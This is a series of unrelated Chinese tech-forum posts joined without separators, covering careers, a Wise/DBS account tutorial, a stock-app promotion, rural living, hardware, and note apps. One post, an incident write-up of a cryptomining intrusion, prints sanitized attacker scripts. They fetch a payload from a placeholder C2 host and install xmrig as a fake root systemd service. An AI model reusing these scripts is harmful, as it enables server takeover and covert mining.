2025-12-06

本人情况：5 年前端，35+，一本 211 ，一线城市国企子公司外包岗，有房（但有较强改善需求）无贷，有老有小，手头现金还算充裕

工作情况：目前大头兵，待了 1 年多，基本 965 ，加班不多（加的话无补贴无调休），税前 18 ，五险一金最低，甲方直属 leader nice 。核心项目断网古法代码开发，做事都是面向领导，需求经常不清，流程比较随意

事件起因：前两天甲方直属 leader 突然把我叫到会议室，说刚把我推荐给了部门主管，因为明年部门会有一个前端正式岗的 hc ，感觉我还可以。之后部门主管就来了，开始和我沟通，大意是目前公司还没有外包转正的先例，且高层领导也不提倡，所以如果我选择转正，则要先走退回/离职流程，然后自己投简历走正式岗的流程（候选 1:5 ，笔试+面试+高层领导群面，最快 1.5 个月 ），到时他会和 hr 沟通，并向高层领导推荐我，不过最终还是要看面试时的表现，以及高层领导看法，估计成功率大概 7 成；也可以选择继续做外包，说这两年如果部门裁员，不会先裁我（除非有重大失误）

后续沟通：因为之前 leader 并没有和我提前沟通过此事，有点突然，个人猜测可能是因为前阵子我独立完成并上线了一个 Python+AI 的项目，效果还不错，感觉能力还可以；之后又单独和 leader 沟通过一次，他表示我做事比较仔细，对业务也熟，与其重新招一个人从头来过，不如推荐我

存在的风险：

• 如果面试不成功，以自己目前的竞争力，大概率会失业。
• 如果还想以外包重新入职，则不可能。主管明确告知，等我离职后会立刻招新外包，以弥补人手的不足。

如果转正成功：

优点：五险一金全缴、用餐免费、节日礼等等，各种国企隐形福利就不赘述了，当然，还有不用被“特别”对待了

缺点：

• 薪资降 3 ～ 4K
• 更大压力：新岗位会附加一些管理性工作，不是自己喜欢和擅长的

目前还未和外包公司沟通（因为感觉那边没有任何收益），想先听听 V 友们的看法，感谢

以前开通一张香港银行卡，需要肉身去一趟香港，现在出现了更简单的方式。零费用，可以开一个星展银行户头，历史经来看属于灰度放开，理论上随时可能收紧，推荐能开就赶紧开，花的时间不多，注册一个备用也很香。

下面是保姆级开通教程，半小时搞定。

教程

1. 第一步是注册 WISE。

下载 APP 后，使用邮箱登录 → 点击创建个人账户 → 填写国家和个人信息 → 然后人脸识别之后就成功创建 WISE 账户了。

Wise （前称 TransferWise ）是一家英国金融科技公司，提供低成本、透明的国际汇款、多币种账户和借记卡服务，拥有 1500 多万客户，每月处理 90 亿英镑的国际汇款。作为一间全球性的汇款公司，Wise 已经在多个国家获得当局的认可和授权，例如英国金融行为监管局（ FCA ）、美国金融犯罪执法网络（ FinCEN ）、澳洲金融监理署（ APRA ）。

可以使用邀请链接注册，能获得 4500 元的免费转账额度。不用链接没有此额度。wise.com

1. 第二步是创建账户。

成功后，在首页，点击添加货币。点击添加港币，然后点击验证账户详细信息。选择国家为中国大陆，文件类型一定要选择“身份证”。护照很多人经验说无法验证成功。

1. 第三步验证身份。

这一步就是拍摄身份证正反面，然后上传。注意⚠️填写税号，这里填写身份证号就可以。都填完之后等待邮件通知就可以了。工作日一般第二天就会收到开户成功的信息。

开出来的账户是香港星展银行的，DBS Bank ，如上图所示。

星展银行（香港）有限公司是新加坡星展银行的附属公司，属于香港第七大注册银行，实力很强。DBS 是亞洲最大金融服务集团之一，星展香港佣有 24 家分行和超過 4,500 名员工。

开通港卡户头的用处

这个账户支持 FPS 转账，是免赴港开户最简方式。剩下赴港路费和酒店钱，趁没有门槛，赶快注册一个吧。

你问有什么用？

• 可以用作推特创作者激励的收款账号
• 可以作为海外券商的出入金账号
• 可以用 FPS ，与其它香港账户之间互转都是免手续费
• 可以收款 Google Ads 的广告费
• 可以用此账户验证开通港版的 Stripe ，实现全球收款
• Wise 现在完美顶替 95%+港卡甚至欧美卡场景：ChatGPT Plus 、Claude Pro 、Midjourney 、Gemini Advanced 、GitHub Copilot 、Netflix 、YouTube Premium 、Spotify……亲测全都能秒过，成功率极高
• 海外平台收款（ Upwork/Fiverr/Stripe/Payoneer ）直接进 Wise 美元余额
• 汇率永远用中间价 + 超低手续费（通常 0.4%-1%），比银行省 80-90%

不足的地方

• 大陆注册的 Wise 目前只有数字卡，暂时无法申请实体卡
• 每年仍有国家外汇 5 万美元额度限制（合法收入结汇不受影响）

历史经来看属于灰度放开，理论上随时可能收紧，推荐能开就赶紧开，花的时间不多，注册一个备用也很香。开通 WISE：WISE.com

我之前买了个蚊帐,但是是纱布的,不怎么保暖,今天早上嘴里有痰了,估计是受凉了.

所以我要买新的蚊帐吗?如果买新的,估计 400-500,觉得自己在浪费钱.

但是不买又心里不甘,真 TMD 不甘.心里想着连睡觉都不舒适,这活着还有什么意思?

我该怎么办?

深圳易力声 3000 人大罢工

我们厂，我见过挺多的，因为不给她们加班，她们吵到老板那里。

单休，一天 9.5 小时她们还不够，还要求让她们加班。

平时做 A 股会有一个很普遍的痛点：
行情软件很多，但要做一套有章可循的盘后复盘 + 个股深度分析，往往需要在同花顺 / 东方财富 / 券商 APP / 各种网页之间来回切。数据是有的，但缺乏一套统一的投资理念与工作流，效率很低。

我这边做的这个桌面应用，是一款专门面向 A 股中长期投资者的专业投资分析生产力工具，定位很明确：

• 不做交易终端，只做盘后复盘、热点追踪和深度分析。
• 以「价值为基、趋势为策、风控优先」为核心理念。

核心功能：

• 盘后复盘看板：市场总览、资金流向、行业资金、市场主线，一屏掌握市场全貌

• 热点发现：行业/概念热力图，多维度指标可视化，盘后结构梳理

  

• 智能筛选器：个股/ETF 多维度筛选，围绕「安全边际 + 趋势共振 + 组合稳健」设计

  

• 个股深度分析：安全边际评估、趋势共振分析、财务画像、股东研究、十年业绩等全方位分析

产品定位：

• 不是同花顺/东方财富的平替 —— 不做实时交易，只聚焦盘后复盘与深度研究
• 不是雪球那类社区 —— 没有信息流和情绪干扰，只提供数据和分析
• 不是量化平台 —— 不需要写代码，面向希望「提高分析效率」的中长期投资者

目标用户：

• 有自己的一套价值/趋势框架，希望标准化复盘流程
• 以 1–3 个月波段 + 1–5 年价值投资 为主
• 更在乎安全边际、企业质量、组合稳健

限时活动：1 个月免费体验版

• 完整功能可用，无需绑定支付方式
• 体验期结束不自动扣费
• 欢迎愿意认真使用并反馈的朋友来试用

了解更多：
产品介绍和使用指南： https://tradersignal.org/signal-client

有兴趣可以在评论区留言，我会私信发送下载链接和激活方式（或留下联系邮箱 / TG / 微信等统一发放）。

去年在 v 站发了一篇帖子，是关于我在湖北的江汉油田(潜江)这个地方花极低的价格买房子的事情，在这里的生活是自由的，但作为一个生理、心理都是平均水平的一个成年人，总还是希望能够有一个女人能够一起生活的。说是性压抑也好，亦或是缓解孤独也罢，总之就是这么一回事儿。

几个月前终于补全了这一块拼图。

心也算是真正静了下来。去年的时候心中多少还是有一些堵着的地方，有时候还喜欢和网友对喷，去为一些时事政治之类感到愤慨，还会去一些同学小群里面分享一些逆天的事情，今时大概已经恢复了主体性。

生活终归于平淡。说是躺平也好，慢生活也罢，每天就是两个人过着一种很简单的生活。不去在意什么男女性的对立话题，不去考虑什么彩礼、嫁妆的事情，两个人能好好地过，合得来就行。我不喜欢上班，她也不喜欢上班，她看我不讨厌，我看她也喜欢，那就在暂时还吃得起饭的情况下安安稳稳地搭伙儿过现代的生活就好。

上午睡好了起床，对象起来做个早餐，有时候会喊我起床，如果前一天我睡晚了，就晚一点喊我，如果都起得比较晚，那就简单喝个麦片什么的，然后中午去一起去菜市场买菜，回来做饭。由于当前社会的经济情况，基本的生活物资的价格在我看来算是相当便宜的，蔬菜、鸡鸭鱼肉、水果、米面油盐什么的都不贵，加上周边有很多过来卖菜的本地居民，很多东西的价格很低，但是品质也还不错，就这样，我们自己做饭，一般是对象做饭，我收拾、洗碗什么的，比起我自己一个人生活的时候，幸福指数高了很多很多。晚饭一般也是自己做，自己做饭，成本确实比较低，而且，吃的饭菜都干净又卫生，也好吃，大概一个月吃饭的消费在 1500 块钱以内，并且，每天都可以吃很多牛肉、排骨、鸡、鸭之类，我这里的黄牛肉的价格大概在 33 块钱/斤左右，猪肉在 10 块钱/斤左右，排骨在 17 块钱/斤左右，吃的大米也可以比外面好一些，京东的十月稻田的五常大米也就 70 块钱左右，这个品质已经比外面 99% 的我吃过的餐馆要好了。我以前肠胃不好，也是在和对象一起生活之后养好的，主要是饮食规律的，每天一日三餐基本都是正常吃的，但是，之前一个人，很多时候就能对付就对付过去了。

好像现在每天最大的问题就是吃饭了。解决了吃饭的问题，然后就是睡觉。这里说是江汉油田，但是除了中心区域，外面都是大片的农田，近似于乡下，加上这边很多井不继续开采了，也就不需要那么多人，剩下的都是退休的老人，而且，这个人口越来越少，所以，不管是白天还是晚上，都相当安静，夜里也足够地黑，作为一个被深圳折磨过的前打工人，只能说很满意了。

上午看看书，写写程序。下午和一些朋友去打乒乓球，有外地来的，也有本地的国企下岗职工这些，一起去退休职工活动中心打打球，有时候，我会作为一个教练去教他们打球，虽说我自己也就 1600 分左右，不过，给对象以及其他的这些纯业余乒乓爱好者教教基本功还是可以的，至少，可以带他们跨过业余的门槛：拉弧圈、起下旋什么的。我自己也和他们打，也有一些业余打得比较好的，和他们打，可以起到相当的锻炼效果。有个曾经是写上位机的老哥，最近似乎是对乒乓球上了瘾，天天拉我打球教他练球，再有别的片区的朋友也过来打，也还算热闹。

晚上呢，一般也是看看书、写写程序，有时候给网上认识的朋友上上编程课，有时准备一下 b 站要分享的视频的素材，有时候和对象做一下床上运动，一般来说对象睡得比较早，我就再回到电脑前冲浪，就像今天这个样子。

我对生活的追求不高，目前这样就已经很满足。这个地方、这种生活方式当然也有很多不好，比如，考虑生计的问题，以后生小孩的问题，这地方也有点偏僻，房子也有点老什么的，油田的三甲医院已经名不副实、家这里距市区的高铁站大概有 30 公里、冬天的暖气不太暖了等等，我是不太在意的。这个地方能够让我们以一种很低的成本过上一种传统的家庭生活，心中存有很多感恩。

去年买的房子是通过中介买的，中介费很贵，前两天才知道那个中介是收了一万块，但是我的整个房子的总的费用也不过是四万一千多一点点。然后，最近楼上的那一户房子要卖，刚好我们就买下了，这次没有通过中介，所有的费用加起来是三万四千块钱，其实这个价格在很多本地人的眼里还算贵了，不过，刚好上下楼连在一起，又没有中介费，在我看来也是比较满意的。

说起来，我和对象认识的机缘也是“躺平”，而且媒介是我以前看不上的小红书，当时觉得小红书的一些生活方面的搜索功能做得特别好，以及，看房子的信息也比较方便，就也在上面分享了很多我的日常，然后被对象刷到，刚好她也有类似的心境，又通过我社媒公开的信息了解到我的博客，后面把我所有的生活方面的博客都读完，一来二去，甚至没有什么暧昧就在一起了，而在此之前，她甚至连异性的手都没有牵过。后来她辞职，也到这里买房子，不过，她买的房子几乎一天都没有住过就搬来我家，这又是后话了。

至于什么时候出去工作，能不能找到什么像样的工作，这也是后话了。自去年五月下旬到现在，自由的生活习惯了，却也无时无刻不珍惜当下每一分每一秒的生活——我在中学时代读《世界尽头与冷酷仙境》、《海边的卡夫卡》、《黄金时代》的时候曾经幻想过的生活。

这里整一点这两天随手拍的照片：

某 h 云，订阅链接只能用一次就失效了。每次更新，有几个设备就得获取几次链接，完全废掉同步功能了。有 better practice 还是用脚投票换机场？

""" DEC 5th 尊敬的用户您好：我们将对订阅开启阅后即焚功 能，请所有用户尽快从官网获取新订阅，请关闭客户端系统代理功能后重新导入订阅或删除节点后重新导入。给您带来不便敬请谅解，感谢您对 F*Cloud 的支持！ """

最近想着在自己的老古董 nas 上部署一些有意思的项目，比如知识库，数据库 BaaS 之类的服务。目前手上这台老古董群晖 ds220+ 一跑就爆 cpu...

没办法，只能想着能不能找一些 cpu 高一点的 nas ，逛了一圈整机 nas ，看到不少 cpu 性能高一些的比如 n355 ，最终在 B 站看到了铭凡 n5 ，cpu 是 amd 锐龙 7 255 。比其他的整机 nas 性能都强，瞬间眼睛挪不开了。价格当时也美丽，只要 3500 左右，给媳妇说要买这个，拿来学习用的，她说等发工资再买。

结果过几天她跟我说涨价了，涨到了 4400 。说太贵了先不买了，我的心情瞬间跌山谷，本来想买台 cpu 性能强点的，来跑一些服务玩玩 ai ，学习一下 agent 的玩法提升一下技术，结果现在止步不前了。

兄弟们，还有什么其他性能相当的 nas 推荐一下

早上收到阿里云短信，说有一台服务器被用来挖矿，排查发现哥们用漏洞来注入用于挖门罗币。 做开发 12 年了第一次遇到服务器被人搞，说实话还有点刺激还有点兴奋。

复盘一下经过，大家共赏：

1 、收到阿里云报警说有服务器用于挖矿

2 、阿里云后台定位到了大致的挖矿文件

3 、上服务器一看

好家伙确实多了不少东西，有两个核心的攻击脚本，一个是 python1.sh ，一个是 sex.sh ，直接脱敏后放出脚本大家共赏：

python1.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 攻击者 IP/端口替换为[攻击者 C2 服务器 IP:端口]
# 2. 恶意程序随机文件名替换为[恶意程序随机文件名]
# 3. 下载/执行类恶意逻辑添加注释，仅保留结构
# 4. 核心攻击特征已标注，无任何可执行的恶意代码

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l64&stage=true"  # Linux x86_64 架构
l32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l32&stage=true"  # Linux x86 32 位架构
a64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a64&stage=true"  # ARM64 架构
a32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a32&stage=true"  # ARM32 架构

v="[恶意程序随机文件名]"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    # (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    # (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    # (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

# chmod +x $v
# (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)

这个主要是为了下载第二层的恶意程序，从实际结果来看，恶意程序伪装成了 docker ，在 tmp 文件夹下跑，由于是二进制文件，目前还没有进一步查验它在做啥，不过大概率也是挖矿，因为看到了一个挖矿的 config 文件。

sex.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 挖矿池地址/钱包 ID/TLS 指纹替换为占位符，无法用于实际挖矿；
# 2. 下载/解压/执行类恶意命令全部注释，仅保留攻击结构；
# 3. 服务器环境特征（如$(pwd)）替换为占位符，避免溯源风险；

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"（ 6.24.0 ）
BINARY_PATH="[当前路径]/$EXTRACT_DIR/xmrig"
ARGS="--url [恶意挖矿池地址] --user [攻击者挖矿钱包 ID] --pass next --donate-level 0 --tls --tls-fingerprint [恶意 TLS 指纹]"
SERVICE_NAME="system-update-service"  

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    # curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    # tar xvzf "$TAR_FILE"
fi

# chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    # cat <<EOF > "$SERVICE_FILE"
    # [Unit]
    # Description=System Update Service
    # After=network.target
    # 
    # [Service]
    # Type=simple
    # ExecStart=${BINARY_PATH} ${ARGS}
    # Restart=always
    # RestartSec=10
    # User=root
    # 
    # [Install]
    # WantedBy=multi-user.target
    # EOF

    # systemctl daemon-reload
    # systemctl enable "$SERVICE_NAME"
    # systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    # nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

是的你没看错，这个脚本甚至自带注释，甚至还 echo 了进度……不知道这个人从哪下的示例代码分发的……逻辑比较清晰，把挖矿程序伪装成系统服务。

4 、处理

由于感染的服务器是公司很边缘的、用于内部一些脑洞项目 poc 测试的小服务器，所以在权限管理上十分松懈，直接用 root 用户部署的各类小 Demo App ，导致这次漏洞也轻松的让攻击者获得了 root 权限，可能还替换了部分系统文件，机器肯定是不能留了……

下一步排查一下上面在跑的服务，备份数据，销毁重建。

今年给某大学代一学期 Linux 基础入门课,期末考试要求独立安装一次 arch ，推荐官方文档，欢迎任何方式使用搜索引擎

将近 200 个同学，这立马就注入了 200 个新鲜的血液

使用 virtualbox 创建虚拟机 安装 archlinux

1. 安装系统 40 分

   分区使用 BIOS with MBR 不创建 Swap

2. 设置 hostname 为学号 5 分
3. 设置时区为 Asia/Shanghai 5 分
4. 创建普通用户，加入到 wheel 组，并安装 sudo 5 分
5. 将普通用户的 shell 切换为 zsh 5 分
6. 安装图形界面 lxde/xfce4/gnome/kde 并开机启动 5 分
7. 安装浏览器 firefox/chromium 5 分
8. 设置图形界面为中文并正常显示 5 分
9. 安装输入法并开机启动正常输入 fcitx5 fcitx5-chinese 5 分
10. 安装 nginx 并开机启动，端口设置为 8080 5 分
11. 安装 sshd 并开机启动，端口设置为 2222 5 分
12. 写一个脚本，/usr/local/bin/system_info 10 分

    1. 输出当前用户名
    2. 输出当前 shell
    3. 输出当前内存使用率
    4. 输出当前磁盘使用率
    5. 脚本必须可以直接被调用（在命令行直接输入 system_info 就能出结果）

我用过很多笔记软件，包括云同步和本地的，每款软件都各有特色，但能让我满意的软件不多，先来盘点下我用过的吧。

印象笔记：这个是老牌笔记软件了，很久之前用过，后面要 vip 才可以同步，好像只能两台设备，设计也比较难看，最开始也不支持 Markdown ，广告比较多，放弃了。

有道云笔记：这个大概十年前用过一段时间，当时很多用户强烈要求支持 Markdown ，当时官方说程序员只是个小众群体，不做，于是我也放弃了，听说后来支持了，也没有用这个。

为知笔记：这个也是早期用的，当时说是哪怕这个公司倒闭了，笔记还能导出来，wiz 格式的笔记可以转换成 html ，这个还不错，后来有新的笔记软件，也没用了。

语雀：这个当时火了一阵子，一开始我很不喜欢这个字体，看着有点发虚，而且行间距非常大，每次编辑笔记完了还要点下发布，导出 Markdown 里面的图片居然还是线上地址，有防盗链也不能粘贴到别的平台。后面体验发现改进了很多，代码格式化很好用，排版也舒服了很多，但还是不能导出完整的 Markdown ，所有这个偶尔用下。

wolai：这个目前是我用着书写体验最好的，排版美观，支持各种、和cmd + e这样的快捷键，支持中西文排版，支持导出完整的 Markdown+本地图片。缺点是分享不是很方便，要点几次，性能优化有点问题，有时候加载比较慢。再就是 vip 涨价了，感觉续费不划算。在 vip 到期前，我把三年多的笔记都导出来了，发现不到 3 个 g ，包括一些安装包啥的。后面换笔记软件，只要支持 Markdown 导入，就可以完成迁移。或者用本地的也可以。

flowus：这个也是跟 wolai 差不多，但是没有 wolai 好看，体验下来有些 bug ，速度相对比较快，可能是我笔记不多的原因。

notion：这个性能是最好的，支持一次性粘贴大量文字。支持夜间模式自动切换，搜索功能也不错。缺点是不支持中文顿号呼出快捷键，不支持中西文排版，不支持四级及以下标题。免费版限制 5mb 的文件上传，plus 费用较贵。听说教育版等同于 plus ，但不知道能用多久，政策会不会变。听说有人薅羊毛被官方发现，直接被封号了，笔记找不回来，这个损失还蛮大的。notion 的 Markdown 导出功能虽然也有，但是感觉没有 wolai 好用。

思源笔记：这个浅尝辄止的用了下，感觉需要折腾下才会比较好用，近期准备再研究下，看看能不能满足我的需求。

typora：这个我用过很多年的，纯 Markdown 书写体验不错，配合 piclist 配置图床，可以复制粘贴发布到别的平台，就是快捷键少了点，似乎不支持自定义快捷键，比方说我要选中一段文字高亮为行内代码块之类的。搜索不太方便，没法根据关键词快速找到我的笔记。

obsidian：最近听说有大佬用这个做技术创作很强，然后我又下载试了下，我发现问题还蛮多的，首先这个换行的问题，是一个回车还是两个回车，折磨的我怀疑人生。所见不是所得，习惯了 typora 后，能明显感觉这个书写体验是差了一大截，就像是精装修和毛坯房的区别一样。然后我需要折腾研究各种配置和插件，可能才能达到 typora 的一部分体验。

目前我的情况是，wolai 看看历史记录的笔记，notion 记录新的内容，typora 写一些技术文章。

---

综上所述，我平时的需求主要是记笔记、写文章、搜索内容，其他的比方说双链笔记啥的，我基本用不到。我对 Markdown 的书写体验要求很高，因为有了 Markdown ，我就能做到一次书写，全平台发布。

看看各位 v 友平时用的是什么笔记软件，来交流下吧。

前情提要：/t/1176975

个人投资老白（时间久，技术不会，以前 b 站啃过缠论（后来放弃）），投资 8 年（定投+卧倒不动），受益于标普、纳斯达克和红利 etf,有些小收益，仓位小拿得住（ 30%），如果全仓买入,大概率要赔钱了。

前几天关于“睡后收入”的一些思考，请教各位大佬，如果以后没得工作干，拿出部分闲钱进行投资理财，或许对于社恐、面子薄的人来说是个不错的选择，估计现在也有不少全职炒股的老哥，想请各位聊下：

1.需要学习哪些技术？（个人以前学过缠论，后放弃，周定投纳斯达克、标普 500 、红利 etf ，目前技术指标完全不会）

2.量化交易这个有没有入门方法，或者报名一些线上课程（学费 5k 以内，试错成本别太高）

3.工作或许还能坚持 5 年，不希望速成，当然也没有速成的方法，希望 5~10 年内通过不断地学习能够找到一个赚钱养家的途径。

本人是 java 远程开发，现在手头上有一个 thinkpad x1 carbon 2019 ， 只有 16g 内存，开发打开多个 ide 以及网页后，非常卡

所以琢磨着换一个电脑，让开发体验好一些。现在纠结的是该买 mini 还是 air 。。。如果买 mini 的话， 出门就的带 thinkpad ，要经常切换环境。当然一周最多会乡里一天。频次不高。 买 air 的话，比较便捷，但担心 24g 不够用

现在国补后，mini 只要 5999 ，air 要 7399.预算最多就是这个了

求各位大佬推荐下。是否该上 air ，以及 24g 的内存是否够用

干完摄影兼职拍了一点， 今天加班用 uu 远程连回家里修图， 远程修图工作流搞好了好耶！

图片放在下面的楼层里⬇️

最近在申请软著，我觉得版权保护中心的服务器是真的烂啊。动不动就网络异常，系统繁忙。有时候晚上写完材料准备上传后睡觉，发现系统上不去。又得拖到明天，有时候拖着拖着就忘记了。。。

现在在用 GitHub Copilot 的 Claude Opus ，体验非常棒。

想开一个 Claude Code Max 来做一些课余项目。

想问问已经开会员的老哥：Claude Code Max 的使用时长大概能用多久？

支持日语翻译到中文、英文。

用多个 CV 模型来做文字检测、识别、修图。

本地跑 8B 的 LLM 来进行翻译。

纯 Rust 写的，模型全部用 candle 重新实现了，支持 N 卡的 CUDA 和 macos 的 MPS 进行 GPU 加速。

跨平台，安装包极小。CUDA 等依赖全部动态下载。

开源： https://github.com/mayocream/koharu

---

Tips：

需要联网下载 pypi 包（提取 DLL ），从 HuggingFace 拉模型。